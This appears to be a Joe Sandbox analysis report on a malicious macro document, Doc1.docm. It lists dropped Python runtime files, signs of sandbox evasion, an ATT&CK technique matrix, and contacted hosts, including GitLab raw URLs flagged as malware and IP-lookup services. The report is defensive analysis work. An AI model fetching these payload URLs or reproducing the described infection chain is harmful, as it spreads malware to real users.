Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\pip\_vendor\distlib\t64.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\pip\_vendor\distlib\w32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\pip\_vendor\distlib\t32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\tk86t.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep count: 1835 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep count: 7883 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7272	Thread sleep count: 1688 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7272	Thread sleep count: 8073 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7512	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2088	Thread sleep count: 1362 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7220	Thread sleep count: 192 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8144	Thread sleep count: 486 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3468	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: curl.exe, 00000008.00000003.1735614115.0000000002BC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlle
Source: python.exe, 00000010.00000003.2716339061.0000029B9F26B000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2717016649.0000029B9F273000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2724391147.0000029B9EB1F000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2731944565.0000029B9EB1F000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2720347320.0000029B9F273000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2722396978.0000029B9F273000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2726639506.0000029B9F273000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2723394449.0000029B9EB15000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2731349282.0000029B9F273000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000009.00000002.2101950053.00000000078DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: Yara match	File source: amsi32_7520.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: curl.exe PID: 7496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7520, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Pun.bat, type: DROPPED

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Command and Scripting Interpreter	221 Scripting	11 Process Injection	2 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	13 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	1 Extra Window Memory Injection	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner	Label	Link
Doc1.docm	18%	ReversingLabs	Win32.Trojan.Generic
Doc1.docm	12%	Virustotal		Browse
Doc1.docm	100%	Joe Sandbox ML

Source	Detection	Scanner
C:\Users\Public\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_bz2.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_ctypes.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_ctypes_test.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_decimal.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_elementtree.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_hashlib.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_lzma.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_msi.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_overlapped.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_queue.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_socket.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_sqlite3.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_ssl.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_testbuffer.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_testcapi.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_testconsole.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_testimportmultiple.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_testinternalcapi.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_testmultiphase.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_tkinter.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_uuid.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\_zoneinfo.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\Public\DLLs\libffi-7.dll	0%	ReversingLabs
C:\Users\Public\DLLs\libssl-1_1.dll	0%	ReversingLabs
C:\Users\Public\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\select.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\sqlite3.dll	0%	ReversingLabs
C:\Users\Public\DLLs\tcl86t.dll	0%	ReversingLabs
C:\Users\Public\DLLs\tk86t.dll	0%	ReversingLabs
C:\Users\Public\DLLs\unicodedata.pyd	0%	ReversingLabs
C:\Users\Public\DLLs\winsound.pyd	0%	ReversingLabs
C:\Users\Public\Lib\abc.py	0%	ReversingLabs
C:\Users\Public\Lib\aifc.py	0%	ReversingLabs
C:\Users\Public\Lib\argparse.py	0%	ReversingLabs
C:\Users\Public\Lib\ast.py	0%	ReversingLabs
C:\Users\Public\Lib\asynchat.py	0%	ReversingLabs
C:\Users\Public\Lib\asyncio\__init__.py	0%	ReversingLabs
C:\Users\Public\Lib\asyncio\__main__.py	0%	ReversingLabs
C:\Users\Public\Lib\asyncio\base_events.py	0%	ReversingLabs

Source	Detection	Scanner	Link
gitlab.com	0%	Virustotal	Browse
ipinfo.io	0%	Virustotal	Browse
api.ipify.org	2%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat2E	0%	Avira URL Cloud	safe
https://gitlab.com/-/sandbox/;	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#getmydescription	0%	Virustotal		Browse
https://gitlab.com/-/sandbox/;	0%	Virustotal		Browse
http://bugs.python.org/issue13585	0%	Virustotal		Browse
https://core.telegram.org/bots/api#forumtopiccreated	0%	Virustotal		Browse
https://core.telegram.org/bots/api#getmydescription	0%	Avira URL Cloud	safe
https://collector.prd-278964.gl-product-analytics.com	0%	Avira URL Cloud	safe
https://snowplow.trx.gitlab.net	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#answershippingquery	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#forumtopiccreated	0%	Avira URL Cloud	safe
http://bugs.python.org/issue13585	0%	Avira URL Cloud	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://www.python.org	0%	URL Reputation	safe
http://bugs.python.org/issue19619	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#chatadministratorrights	0%	Avira URL Cloud	safe
https://bugs.python.org/issue29255	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#birthdate	0%	Avira URL Cloud	safe
http://bugs.python.org/issue5845#msg198636	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#answershippingquery	0%	Virustotal		Browse
http://bugs.python.org/issue19619	0%	Virustotal		Browse
https://core.telegram.org/bots/api#chatadministratorrights	0%	Virustotal		Browse
https://collector.prd-278964.gl-product-analytics.com	0%	Virustotal		Browse
http://bugs.python.org/issue12029	0%	Avira URL Cloud	safe
https://snowplow.trx.gitlab.net	0%	Virustotal		Browse
https://bugs.python.org/issue29255	0%	Virustotal		Browse
http://docs.python.org/3/library/subprocess#subprocess.Popen.kill	0%	Avira URL Cloud	safe
http://bugs.python.org/issue5845#msg198636	0%	Virustotal		Browse
https://core.telegram.org/bots/api#birthdate	0%	Virustotal		Browse
https://core.telegram.org/bots/api#user	0%	Avira URL Cloud	safe
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	0%	Avira URL Cloud	safe
https://pint.readthedocs.io/en/stable/	0%	Avira URL Cloud	safe
https://www.recaptcha.net/	0%	Avira URL Cloud	safe
http://bugs.python.org/issue14396.	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#user	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	0%	Virustotal		Browse
https://bugs.python.org/issue34572	0%	Avira URL Cloud	safe
https://www.recaptcha.net/	0%	Virustotal		Browse
http://docs.python.org/3/library/subprocess#subprocess.Popen.kill	0%	Virustotal		Browse
http://bugs.python.org/issue12029	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://new-sentry.gitlab.net	0%	Avira URL Cloud	safe
http://sourceware.org/pthreads-win32/manual/pthread_barrier_init.html	0%	Avira URL Cloud	safe
http://bugs.python.org/issue14396.	0%	Virustotal		Browse
https://github.com/python/cpython/pull/7160#discussion_r195405230	0%	Avira URL Cloud	safe
https://bugs.python.org/issue34572	0%	Virustotal		Browse
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://gist.github.com/4325783	0%	Avira URL Cloud	safe
https://github.com/python/cpython/pull/7160#discussion_r195405230	0%	Virustotal		Browse
https://bugs.python.org/issue29302	0%	Avira URL Cloud	safe
https://www.python.org/psf/license/	0%	Avira URL Cloud	safe
https://gist.github.com/4325783	0%	Virustotal		Browse
https://core.telegram.org/bots/api#deletemessages	0%	Avira URL Cloud	safe
https://pint.readthedocs.io/en/stable/	0%	Virustotal		Browse
https://bugs.python.org/issue29302	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://gitlab.com/demotrojan/real/-/raw/main/document.zip	100%	Avira URL Cloud	malware
http://sourceware.org/pthreads-win32/manual/pthread_barrier_init.html	0%	Virustotal		Browse
https://core.telegram.org/bots/api#deletemessages	0%	Virustotal		Browse
https://www.python.org/psf/license/	0%	Virustotal		Browse
https://new-sentry.gitlab.net	0%	Virustotal		Browse
https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat	100%	Avira URL Cloud	malware
https://github.com/html5lib/html5lib-python/issues/443	0%	Avira URL Cloud	safe
https://gitlab.com/admin/	0%	Avira URL Cloud	safe
https://gitlab.com/-/speedscope/index.html	0%	Avira URL Cloud	safe
https://aka.ms/pscore6lBdq	0%	Avira URL Cloud	safe
https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat	0%	Virustotal		Browse
https://core.telegram.org/bots/api#sendinvoice	0%	Avira URL Cloud	safe
https://gitlab.com/admin/	0%	Virustotal		Browse
https://www.google.com/recaptcha/	0%	Avira URL Cloud	safe
https://github.com/html5lib/html5lib-python/issues/443	0%	Virustotal		Browse
https://github.com/mozilla/bleach	0%	Avira URL Cloud	safe
https://www.python.org/psf/license/)	0%	Avira URL Cloud	safe
https://gitlab.com/-/speedscope/index.html	0%	Virustotal		Browse
https://core.telegram.org/bots/api#inlinekeyboardmarkup	0%	Avira URL Cloud	safe
http://docs.python.org/reference/datamodel#object.__hash__	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#sendinvoice	0%	Virustotal		Browse
http://gitlab.com	0%	Avira URL Cloud	safe
http://code.activestate.com/recipes/259174/	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#addstickertoset	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#botcommandscopechatmember	0%	Avira URL Cloud	safe
https://www.python.org/download/releases/2.3/mro/.	0%	Avira URL Cloud	safe
https://httpbin.org/post	0%	Avira URL Cloud	safe
http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html	0%	Avira URL Cloud	safe
https://github.com/mozilla/bleach	0%	Virustotal		Browse
http://bugs.python.org/issue19404	0%	Avira URL Cloud	safe
https://core.telegram.org/bots/api#editforumtopic	0%	Avira URL Cloud	safe
https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat5	0%	Avira URL Cloud	safe
https://gitlab.com	0%	Avira URL Cloud	safe
https://gitlab.com/assets/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gitlab.com	172.65.251.78	true	true	0%, Virustotal, Browse	unknown
ipinfo.io	34.117.59.81	true	false	0%, Virustotal, Browse	unknown
api.ipify.org	104.26.12.205	true	true	2%, Virustotal, Browse	unknown

Name	Malicious	Antivirus Detection	Reputation
https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip	true		unknown

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Doc1.docm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\Public\DLLs\_asyncio.pyd

C:\Users\Public\DLLs\_bz2.pyd

C:\Users\Public\DLLs\_ctypes.pyd

C:\Users\Public\DLLs\_ctypes_test.pyd

C:\Users\Public\DLLs\_decimal.pyd

C:\Users\Public\DLLs\_elementtree.pyd

C:\Users\Public\DLLs\_hashlib.pyd

C:\Users\Public\DLLs\_lzma.pyd

C:\Users\Public\DLLs\_msi.pyd

C:\Users\Public\DLLs\_multiprocessing.pyd

C:\Users\Public\DLLs\_overlapped.pyd

C:\Users\Public\DLLs\_queue.pyd

C:\Users\Public\DLLs\_socket.pyd

Windows Analysis Report
Doc1.docm

C:\Users\Public\Lib\pycache\future.cpython-310.pyc.2867459180896

C:\Users\Public\Lib\pycache\_collections_abc.cpython-310.pyc.2867409286192

C:\Users\Public\Lib\pycache\_compat_pickle.cpython-310.pyc.2867570061616

C:\Users\Public\Lib\pycache\_compression.cpython-310.pyc.2867457909888

C:\Users\Public\Lib\pycache\_sitebuiltins.cpython-310.pyc.2867410473504

C:\Users\Public\Lib\pycache\_weakrefset.cpython-310.pyc.2867410475184

C:\Users\Public\Lib\pycache\abc.cpython-310.pyc.2867410469472

C:\Users\Public\Lib\pycache\argparse.cpython-310.pyc.2867459192656

C:\Users\Public\Lib\pycache\ast.cpython-310.pyc.2867431603232

C:\Users\Public\Lib\pycache\base64.cpython-310.pyc.2867422886944

C:\Users\Public\Lib\pycache\bisect.cpython-310.pyc.2867431593600

C:\Users\Public\Lib\pycache\bz2.cpython-310.pyc.2867457903168

C:\Users\Public\Lib\pycache\calendar.cpython-310.pyc.2867462316176

C:\Users\Public\Lib\pycache\codecs.cpython-310.pyc.2867409435792

C:\Users\Public\Lib\pycache\contextlib.cpython-310.pyc.2867410481568

C:\Users\Public\Lib\pycache\contextvars.cpython-310.pyc.2867416641616

C:\Users\Public\Lib\pycache\copy.cpython-310.pyc.2867458080560

C:\Users\Public\Lib\pycache\copyreg.cpython-310.pyc.2867416489680

C:\Users\Public\Lib\pycache\csv.cpython-310.pyc.2867459523280

C:\Users\Public\Lib\pycache\dataclasses.cpython-310.pyc.2867431597296

C:\Users\Public\Lib\pycache\datetime.cpython-310.pyc.2867460477248

C:\Users\Public\Lib\pycache\decimal.cpython-310.pyc.2867461176912

C:\Users\Public\Lib\pycache\difflib.cpython-310.pyc.2867459183360

C:\Users\Public\Lib\pycache\dis.cpython-310.pyc.2867422873392

C:\Users\Public\Lib\pycache\enum.cpython-310.pyc.2867416488448

C:\Users\Public\Lib\pycache\fnmatch.cpython-310.pyc.2867457909776

C:\Users\Public\Lib\pycache\functools.cpython-310.pyc.2867410475296

C:\Users\Public\Lib\pycache\genericpath.cpython-310.pyc.2867410473952

C:\Users\Public\Lib\pycache\gettext.cpython-310.pyc.2867460480944

C:\Users\Public\Lib\pycache\hashlib.cpython-310.pyc.2867567093200

C:\Users\Public\Lib\pycache\heapq.cpython-310.pyc.2867416488112

C:\Users\Public\Lib\pycache\hmac.cpython-310.pyc.2867570386608

C:\Users\Public\Lib\pycache\inspect.cpython-310.pyc.2867422884480

C:\Users\Public\Lib\pycache\io.cpython-310.pyc.2867409436464

C:\Users\Public\Lib\pycache\ipaddress.cpython-310.pyc.2867459190864

C:\Users\Public\Lib\pycache\keyword.cpython-310.pyc.2867416497072

C:\Users\Public\Lib\pycache\linecache.cpython-310.pyc.2867416489792

C:\Users\Public\Lib\pycache\locale.cpython-310.pyc.2867462316288

C:\Users\Public\Lib\pycache\lzma.cpython-310.pyc.2867457900816

C:\Users\Public\Lib\pycache\mimetypes.cpython-310.pyc.2867568582912

C:\Users\Public\Lib\pycache\netrc.cpython-310.pyc.2867568091952

C:\Users\Public\Lib\pycache\ntpath.cpython-310.pyc.2867410472832

C:\Users\Public\Lib\pycache\nturl2path.cpython-310.pyc.2867568579888

IP	Domain	Country	ASN	ASN Name	Malicious
172.65.251.78	gitlab.com	United States	13335	CLOUDFLARENETUS	true
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	true
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1493311
Start date and time:	2024-08-15 13:45:52 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
